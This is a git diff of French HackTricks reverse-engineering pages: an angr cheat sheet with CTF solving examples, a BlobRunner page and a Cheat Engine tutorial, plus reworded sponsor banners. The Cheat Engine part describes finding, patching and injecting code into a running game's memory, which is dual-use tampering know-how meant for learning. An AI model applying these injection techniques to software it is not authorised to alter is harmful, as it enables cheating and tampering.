+Une partie de cette fiche de triche est basée sur la [documentation angr](https://docs.angr.io/_/downloads/en/stable/pdf/). # Installation ```bash @@ -39,7 +40,7 @@ proj.filename #Get filename "/bin/true" #Usually you won't need to use them but you could angr.Project('examples/fauxware/fauxware', main_opts={'backend': 'blob', 'arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}}) ``` -# Informations sur l'objet chargé et principal +# Informations sur les objets chargés et principaux ## Données chargées ```python @@ -64,7 +65,7 @@ proj.loader.all_elf_objects #Get all ELF objects loaded (Linux) proj.loader.all_pe_objects #Get all binaries loaded (Windows) proj.loader.find_object_containing(0x400000)#Get object loaded in an address "" ``` -## Objectif Principal +## Objectif principal ```python #Main Object (main binary loaded) obj = proj.loader.main_object # @@ -78,7 +79,7 @@ obj.find_section_containing(obj.entry) #Get section by address obj.plt['strcmp'] #Get plt address of a funcion (0x400550) obj.reverse_plt[0x400550] #Get function from plt address ('strcmp') ``` -## Symboles et Relocalisations +## Symboles et Réadressages ```python strcmp = proj.loader.find_symbol('strcmp') # @@ -128,13 +129,11 @@ simgr = proj.factory.simulation_manager(state) #Start simgr.step() #Execute one step simgr.active[0].regs.rip #Get RIP from the last state ``` -## Appel de fonctions +## Appeler des fonctions -* Vous pouvez passer une liste d'arguments via `args` et un dictionnaire de variables d'environnement via `env` dans `entry_state` et `full_init_state`. Les valeurs dans ces structures peuvent être des chaînes de caractères ou des bitvectors, et seront sérialisées dans l'état comme les arguments et l'environnement de l'exécution simulée. Le `args` par défaut est une liste vide, donc si le programme que vous analysez s'attend à trouver au moins un `argv[0]`, vous devriez toujours le fournir ! -* Si vous souhaitez que `argc` soit symbolique, vous pouvez passer un bitvector symbolique comme `argc` aux constructeurs `entry_state` et `full_init_state`. Soyez prudent, cependant : si vous faites cela, vous devriez également ajouter une contrainte à l'état résultant que votre valeur pour argc ne peut pas être plus grande que le nombre d'args que vous avez passé dans `args`. -* Pour utiliser l'état d'appel, vous devriez l'appeler avec `.call_state(addr, arg1, arg2, ...)`, où `addr` est l'adresse de la fonction que vous voulez appeler et `argN` est le N-ième argument pour cette fonction, soit comme un entier python, une chaîne de caractères, ou un tableau, ou un bitvector. Si vous voulez avoir de la mémoire allouée et réellement passer un pointeur vers un objet, vous devriez l'envelopper dans un PointerWrapper, c'est-à-dire `angr.PointerWrapper("point to me!")`. Les résultats de cette API peuvent être un peu imprévisibles, mais nous travaillons dessus. - -## BitVectors +* Vous pouvez passer une liste d'arguments via `args` et un dictionnaire de variables d'environnement via `env` dans `entry_state` et `full_init_state`. Les valeurs dans ces structures peuvent être des chaînes de caractères ou des vecteurs de bits, et seront sérialisées dans l'état en tant qu'arguments et environnement pour l'exécution simulée. Par défaut, `args` est une liste vide, donc si le programme que vous analysez s'attend à trouver au moins un `argv[0]`, vous devriez toujours le fournir ! +* Si vous souhaitez que `argc` soit symbolique, vous pouvez passer un vecteur de bits symbolique en tant que `argc` aux constructeurs `entry_state` et `full_init_state`. Cependant, faites attention : si vous le faites, vous devriez également ajouter une contrainte à l'état résultant indiquant que votre valeur pour argc ne peut pas être supérieure au nombre d'arguments que vous avez passés dans `args`. +* Pour utiliser l'état d'appel, vous devez l'appeler avec `.call_state(addr, arg1, arg2, ...)`, où `addr` est l'adresse de la fonction que vous souhaitez appeler et `argN` est le N-ième argument de cette fonction, soit en tant qu'entier Python, chaîne de caractères, tableau ou vecteur de bits. Si vous souhaitez allouer de la mémoire et réellement passer un pointeur vers un objet, vous devriez l'encapsuler dans un PointerWrapper, c'est-à-dire `angr.PointerWrapper("point to me!")`. Les résultats de cette API peuvent être un peu imprévisibles, mais nous y travaillons. ```python #BitVectors state = proj.factory.entry_state() @@ -177,7 +176,11 @@ solver.eval_exact(expression, n) #n solutions to the given expression, throwing solver.min(expression) #minimum possible solution to the given expression. solver.max(expression) #maximum possible solution to the given expression. ``` -## Crochetage +## Hooking + +Hooking is a technique used to intercept and modify the behavior of a function. + +Le hooking est une technique utilisée pour intercepter et modifier le comportement d'une fonction. ```python >>> stub_func = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] # this is a CLASS >>> proj.hook(0x10000, stub_func()) # hook with an instance of the class @@ -195,24 +198,6 @@ True >>> proj.is_hooked(0x20000) True ``` -De plus, vous pouvez utiliser `proj.hook_symbol(name, hook)`, en fournissant le nom d'un symbole comme premier argument, pour intercepter l'adresse où le symbole réside +De plus, vous pouvez utiliser `proj.hook_symbol(nom, hook)`, en fournissant le nom d'un symbole en tant que premier argument, pour accrocher l'adresse où le symbole se trouve # Exemples - - - - - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/reversing/reversing-tools-basic-methods/angr/angr-examples.md index 7912dd460..324ac3ec4 100644 --- a/reversing/reversing-tools-basic-methods/angr/angr-examples.md +++ b/reversing/reversing-tools-basic-methods/angr/angr-examples.md @@ -2,20 +2,22 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
{% hint style="info" %} -Si le programme utilise \*\*`scanf` \*\* pour obtenir **plusieurs valeurs à la fois depuis stdin**, vous devez générer un état qui démarre après le **`scanf`**. +Si le programme utilise `scanf` pour obtenir **plusieurs valeurs à la fois depuis stdin**, vous devez générer un état qui démarre après le **`scanf`**. {% endhint %} +Codes extraits de [https://github.com/jakespringer/angr_ctf](https://github.com/jakespringer/angr_ctf) + ### Entrée pour atteindre l'adresse (indiquant l'adresse) ```python import angr @@ -210,7 +212,7 @@ raise Exception('Could not find the solution') if __name__ == '__main__': main(sys.argv) ``` -Dans ce scénario, l'entrée a été prise avec `scanf("%u %u")` et la valeur `"1 1"` a été donnée, donc les valeurs **`0x00000001`** de la pile proviennent de l'**entrée utilisateur**. Vous pouvez voir comment ces valeurs commencent à `$ebp - 8`. Par conséquent, dans le code, nous avons **soustrait 8 octets à `$esp` (car à ce moment `$ebp` et `$esp` avaient la même valeur)** puis nous avons poussé le BVS. +Dans ce scénario, l'entrée a été prise avec `scanf("%u %u")` et la valeur `"1 1"` a été donnée, donc les valeurs **`0x00000001`** de la pile proviennent de l'**entrée utilisateur**. Vous pouvez voir comment ces valeurs commencent à l'adresse `$ebp - 8`. Par conséquent, dans le code, nous avons **soustrait 8 octets à `$esp` (car à ce moment-là, `$ebp` et `$esp` avaient la même valeur)**, puis nous avons poussé le BVS. ![](<../../../.gitbook/assets/image (614).png>) @@ -494,7 +496,7 @@ Dans certains scénarios, vous pouvez activer **veritesting**, qui fusionnera de {% endhint %} {% hint style="info" %} -Une autre chose que vous pouvez faire dans ces scénarios est de **hook la fonction en donnant à angr quelque chose qu'il peut comprendre** plus facilement. +Une autre chose que vous pouvez faire dans ces scénarios est de **hooker la fonction en donnant à angr quelque chose qu'il peut comprendre** plus facilement. {% endhint %} ### Gestionnaires de simulation @@ -821,12 +823,12 @@ main(sys.argv) ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/reversing/reversing-tools-basic-methods/blobrunner.md b/reversing/reversing-tools-basic-methods/blobrunner.md index 26048faaf..2beac66c3 100644 --- a/reversing/reversing-tools-basic-methods/blobrunner.md +++ b/reversing/reversing-tools-basic-methods/blobrunner.md @@ -1,20 +1,20 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-La seule ligne modifiée par rapport au [code original](https://github.com/OALabs/BlobRunner) est la ligne 10. -Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code et de le construire**. +La seule ligne modifiée du [code original](https://github.com/OALabs/BlobRunner) est la ligne 10. +Pour le compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code, puis de le construire**. ```c #include #include @@ -220,14 +220,14 @@ return 0; ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/reversing/reversing-tools-basic-methods/cheat-engine.md b/reversing/reversing-tools-basic-methods/cheat-engine.md index 169a024c7..8fb1eefcb 100644 --- a/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -1,27 +1,27 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où des valeurs importantes sont sauvegardées dans la mémoire d'un jeu en cours d'exécution et les modifier.\ -Lorsque vous le téléchargez et l'exécutez, vous êtes **présenté** avec un **tutoriel** sur comment utiliser l'outil. Il est fortement recommandé de le compléter si vous souhaitez apprendre à utiliser l'outil. +[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où sont enregistrées les valeurs importantes dans la mémoire d'un jeu en cours d'exécution et les modifier.\ +Lorsque vous le téléchargez et l'exécutez, vous êtes **présenté** avec un **tutoriel** sur l'utilisation de l'outil. Il est fortement recommandé de le compléter si vous souhaitez apprendre à utiliser l'outil. -# Qu'est-ce que vous recherchez ? +# Que recherchez-vous ? ![](<../../.gitbook/assets/image (580).png>) Cet outil est très utile pour trouver **où une certaine valeur** (généralement un nombre) **est stockée dans la mémoire** d'un programme.\ -**Habituellement, les nombres** sont stockés sous forme de **4 octets**, mais vous pourriez également les trouver en formats **double** ou **float**, ou vous pourriez vouloir chercher quelque chose **différent d'un nombre**. Pour cette raison, vous devez être sûr de **sélectionner** ce que vous voulez **rechercher** : +**Généralement les nombres** sont stockés sous forme de **4 octets**, mais vous pourriez également les trouver sous forme de **double** ou **float**, ou vous pourriez vouloir chercher quelque chose **de différent d'un nombre**. Pour cette raison, vous devez être sûr de **sélectionner** ce que vous voulez **chercher** : ![](<../../.gitbook/assets/image (581).png>) @@ -29,54 +29,54 @@ Vous pouvez également indiquer **différents** types de **recherches** : ![](<../../.gitbook/assets/image (582).png>) -Vous pouvez aussi cocher la case pour **arrêter le jeu pendant l'analyse de la mémoire** : +Vous pouvez également cocher la case pour **arrêter le jeu pendant la recherche dans la mémoire** : ![](<../../.gitbook/assets/image (584).png>) -## Raccourcis clavier +## Raccourcis -Dans _**Éditer --> Paramètres --> Raccourcis clavier**_, vous pouvez définir différents **raccourcis clavier** pour différents objectifs comme **arrêter** le **jeu** (ce qui est assez utile si à un moment donné vous voulez analyser la mémoire). D'autres options sont disponibles : +Dans _**Édition --> Paramètres --> Raccourcis**_, vous pouvez définir différents **raccourcis** pour différentes fonctions comme **arrêter** le **jeu** (ce qui est très utile si à un moment donné vous voulez scanner la mémoire). D'autres options sont disponibles : ![](<../../.gitbook/assets/image (583).png>) -# Modifier la valeur +# Modification de la valeur -Une fois que vous avez **trouvé** où se trouve la **valeur** que vous **cherchez** (plus à ce sujet dans les étapes suivantes), vous pouvez **la modifier** en double-cliquant dessus, puis en double-cliquant sur sa valeur : +Une fois que vous avez **trouvé** où se trouve la **valeur** que vous **cherchez** (plus d'informations à ce sujet dans les étapes suivantes), vous pouvez la **modifier** en double-cliquant dessus, puis en double-cliquant sur sa valeur : ![](<../../.gitbook/assets/image (585).png>) -Et enfin **cocher la case** pour réaliser la modification dans la mémoire : +Et enfin, **cochez la case** pour que la modification soit effectuée dans la mémoire : ![](<../../.gitbook/assets/image (586).png>) Le **changement** dans la **mémoire** sera immédiatement **appliqué** (notez que tant que le jeu n'utilise pas à nouveau cette valeur, la valeur **ne sera pas mise à jour dans le jeu**). -# Rechercher la valeur +# Recherche de la valeur -Supposons qu'il y ait une valeur importante (comme la vie de votre utilisateur) que vous souhaitez améliorer, et que vous cherchiez cette valeur dans la mémoire) +Donc, supposons qu'il y ait une valeur importante (comme la vie de votre utilisateur) que vous voulez améliorer, et que vous cherchez cette valeur dans la mémoire) ## À travers un changement connu -Supposons que vous cherchez la valeur 100, vous **effectuez une analyse** à la recherche de cette valeur et vous trouvez beaucoup de coïncidences : +En supposant que vous cherchez la valeur 100, vous **effectuez une analyse** en recherchant cette valeur et vous trouvez beaucoup de correspondances : ![](<../../.gitbook/assets/image (587).png>) -Ensuite, vous faites quelque chose pour que cette **valeur change**, et vous **arrêtez** le jeu et **effectuez** une **nouvelle analyse** : +Ensuite, faites quelque chose pour que la **valeur change**, et **arrêtez** le jeu et **effectuez** une **analyse suivante** : ![](<../../.gitbook/assets/image (588).png>) -Cheat Engine recherchera les **valeurs** qui **sont passées de 100 à la nouvelle valeur**. Félicitations, vous avez **trouvé** l'**adresse** de la valeur que vous cherchiez, vous pouvez maintenant la modifier.\ -_Si vous avez encore plusieurs valeurs, faites quelque chose pour modifier à nouveau cette valeur, et effectuez une autre "nouvelle analyse" pour filtrer les adresses._ +Cheat Engine recherchera les **valeurs** qui sont passées de 100 à la nouvelle valeur. Félicitations, vous avez **trouvé** l'**adresse** de la valeur que vous cherchiez, vous pouvez maintenant la modifier.\ +_Si vous avez encore plusieurs valeurs, faites quelque chose pour modifier à nouveau cette valeur, et effectuez une autre "analyse suivante" pour filtrer les adresses._ ## Valeur inconnue, changement connu Dans le scénario où vous **ne connaissez pas la valeur** mais vous savez **comment la faire changer** (et même la valeur du changement), vous pouvez rechercher votre nombre. -Commencez donc par effectuer une analyse de type "**Valeur initiale inconnue**" : +Commencez par effectuer une analyse de type "**Valeur initiale inconnue**" : ![](<../../.gitbook/assets/image (589).png>) -Ensuite, faites changer la valeur, indiquez **comment** la **valeur a changé** (dans mon cas, elle a diminué de 1) et effectuez une **nouvelle analyse** : +Ensuite, faites changer la valeur, indiquez **comment** la **valeur a changé** (dans mon cas, elle a été diminuée de 1) et effectuez une **analyse suivante** : ![](<../../.gitbook/assets/image (590).png>) @@ -86,42 +86,42 @@ Vous verrez **toutes les valeurs qui ont été modifiées de la manière sélect Une fois que vous avez trouvé votre valeur, vous pouvez la modifier. -Notez qu'il y a **beaucoup de changements possibles** et vous pouvez faire ces **étapes autant que vous le souhaitez** pour filtrer les résultats : +Notez qu'il y a **beaucoup de changements possibles** et vous pouvez effectuer ces **étapes autant de fois que vous le souhaitez** pour filtrer les résultats : ![](<../../.gitbook/assets/image (592).png>) ## Adresse mémoire aléatoire - Trouver le code -Jusqu'à présent, nous avons appris à trouver une adresse stockant une valeur, mais il est très probable que dans **différentes exécutions du jeu, cette adresse soit à différents endroits de la mémoire**. Alors découvrons comment toujours trouver cette adresse. +Jusqu'à présent, nous avons appris à trouver une adresse stockant une valeur, mais il est très probable que dans **différentes exécutions du jeu cette adresse se trouve à des endroits différents de la mémoire**. Voyons comment trouver cette adresse de manière constante. -En utilisant certaines des astuces mentionnées, trouvez l'adresse où votre jeu actuel stocke la valeur importante. Ensuite (en arrêtant le jeu si vous le souhaitez) faites un **clic droit** sur l'**adresse trouvée** et sélectionnez "**Découvrir ce qui accède à cette adresse**" ou "**Découvrir ce qui écrit à cette adresse**" : +En utilisant quelques-uns des astuces mentionnées, trouvez l'adresse où votre jeu actuel stocke la valeur importante. Ensuite (en arrêtant le jeu si vous le souhaitez), faites un **clic droit** sur l'**adresse trouvée** et sélectionnez "**Découvrir ce qui accède à cette adresse**" ou "**Découvrir ce qui écrit à cette adresse**" : ![](<../../.gitbook/assets/image (593).png>) La **première option** est utile pour savoir quelles **parties** du **code** utilisent cette **adresse** (ce qui est utile pour d'autres choses comme **savoir où vous pouvez modifier le code** du jeu).\ -La **deuxième option** est plus **spécifique**, et sera plus utile dans ce cas car nous sommes intéressés à savoir **d'où cette valeur est écrite**. +La **deuxième option** est plus **spécifique**, et sera plus utile dans ce cas car nous voulons savoir **d'où cette valeur est écrite**. Une fois que vous avez sélectionné l'une de ces options, le **débogueur** sera **attaché** au programme et une nouvelle **fenêtre vide** apparaîtra. Maintenant, **jouez** au **jeu** et **modifiez** cette **valeur** (sans redémarrer le jeu). La **fenêtre** devrait se **remplir** avec les **adresses** qui **modifient** la **valeur** : ![](<../../.gitbook/assets/image (594).png>) -Maintenant que vous avez trouvé l'adresse qui modifie la valeur, vous pouvez **modifier le code à votre guise** (Cheat Engine vous permet de le modifier rapidement en NOPs) : +Maintenant que vous avez trouvé l'adresse qui modifie la valeur, vous pouvez **modifier le code à votre guise** (Cheat Engine vous permet de le modifier en NOPs très rapidement) : ![](<../../.gitbook/assets/image (595).png>) -Ainsi, vous pouvez maintenant le modifier pour que le code n'affecte pas votre nombre, ou qu'il l'affecte toujours de manière positive. +Ainsi, vous pouvez maintenant le modifier pour que le code n'affecte pas votre nombre, ou affecte toujours de manière positive. ## Adresse mémoire aléatoire - Trouver le pointeur -Suivant les étapes précédentes, trouvez où la valeur qui vous intéresse est. Ensuite, en utilisant "**Découvrir ce qui écrit à cette adresse**", découvrez quelle adresse écrit cette valeur et double-cliquez dessus pour obtenir la vue du désassemblage : +En suivant les étapes précédentes, trouvez où se trouve la valeur qui vous intéresse. Ensuite, en utilisant "**Découvrir ce qui écrit à cette adresse**", découvrez quelle adresse écrit cette valeur et double-cliquez dessus pour obtenir la vue de désassemblage : ![](<../../.gitbook/assets/image (596).png>) -Ensuite, effectuez une nouvelle analyse **à la recherche de la valeur hexadécimale entre "\[]"** (la valeur de $edx dans ce cas) : +Ensuite, effectuez une nouvelle analyse en **recherchant la valeur hexadécimale entre "\[]"** (la valeur de $edx dans ce cas) : ![](<../../.gitbook/assets/image (597).png>) -(_Si plusieurs apparaissent, vous avez généralement besoin de la plus petite adresse_)\ +(_Si plusieurs apparaissent, vous avez généralement besoin de celui avec l'adresse la plus petite_)\ Maintenant, nous avons **trouvé le pointeur qui modifiera la valeur qui nous intéresse**. Cliquez sur "**Ajouter une adresse manuellement**" : @@ -132,28 +132,28 @@ Maintenant, cochez la case "Pointeur" et ajoutez l'adresse trouvée dans la zone ![](<../../.gitbook/assets/image (599).png>) -(Notez comment la première "Adresse" est automatiquement remplie à partir de l'adresse du pointeur que vous introduisez) +(Remarquez comment la première "Adresse" est automatiquement renseignée à partir de l'adresse du pointeur que vous introduisez) Cliquez sur OK et un nouveau pointeur sera créé : ![](<../../.gitbook/assets/image (600).png>) -Maintenant, chaque fois que vous modifiez cette valeur, vous **modifiez la valeur importante même si l'adresse mémoire où la valeur se trouve est différente.** +Maintenant, chaque fois que vous modifiez cette valeur, vous **modifiez la valeur importante même si l'adresse mémoire où se trouve la valeur est différente**. ## Injection de code -L'injection de code est une technique où vous injectez un morceau de code dans le processus cible, puis vous détournez l'exécution du code pour le faire passer par votre propre code écrit (comme vous donner des points au lieu de les soustraire). +L'injection de code est une technique où vous injectez un morceau de code dans le processus cible, puis redirigez l'exécution du code pour passer par votre propre code écrit (comme vous donnant des points au lieu de les retirer). -Imaginez donc que vous avez trouvé l'adresse qui soustrait 1 à la vie de votre joueur : +Donc, imaginez que vous avez trouvé l'adresse qui soustrait 1 à la vie de votre joueur : ![](<../../.gitbook/assets/image (601).png>) Cliquez sur Afficher le désassembleur pour obtenir le **code désassemblé**.\ -Ensuite, cliquez sur **CTRL+a** pour invoquer la fenêtre d'assemblage automatique et sélectionnez _**Modèle --> Injection de code**_ +Ensuite, cliquez sur **CTRL+a** pour ouvrir la fenêtre d'auto-assemblage et sélectionnez _**Modèle --> Injection de code**_ ![](<../../.gitbook/assets/image (602).png>) -Remplissez **l'adresse de l'instruction que vous souhaitez modifier** (cela est généralement pré-rempli) : +Remplissez l'**adresse de l'instruction que vous souhaitez modifier** (celle-ci est généralement pré-remplie) : ![](<../../.gitbook/assets/image (603).png>) @@ -161,28 +161,28 @@ Un modèle sera généré : ![](<../../.gitbook/assets/image (604).png>) -Insérez donc votre nouveau code d'assemblage dans la section "**newmem**" et retirez le code original de la section "**originalcode**" si vous ne voulez pas qu'il soit exécuté**.** Dans cet exemple, le code injecté ajoutera 2 points au lieu de soustraire 1 : +Insérez votre nouveau code d'assemblage dans la section "**newmem**" et supprimez le code original de la section "**originalcode** si vous ne voulez pas qu'il soit exécuté**.** Dans cet exemple, le code injecté ajoutera 2 points au lieu de soustraire 1 : ![](<../../.gitbook/assets/image (605).png>) -**Cliquez sur exécuter et ainsi de suite et votre code devrait être injecté dans le programme en changeant le comportement de la fonctionnalité !** +**Cliquez sur exécuter et ainsi de suite, votre code devrait être injecté dans le programme changeant le comportement de la fonctionnalité !** # **Références** -* **Tutoriel Cheat Engine, complétez-le pour apprendre à commencer avec Cheat Engine** +* **Tutoriel Cheat Engine, complétez-le pour apprendre à démarrer avec Cheat Engine**
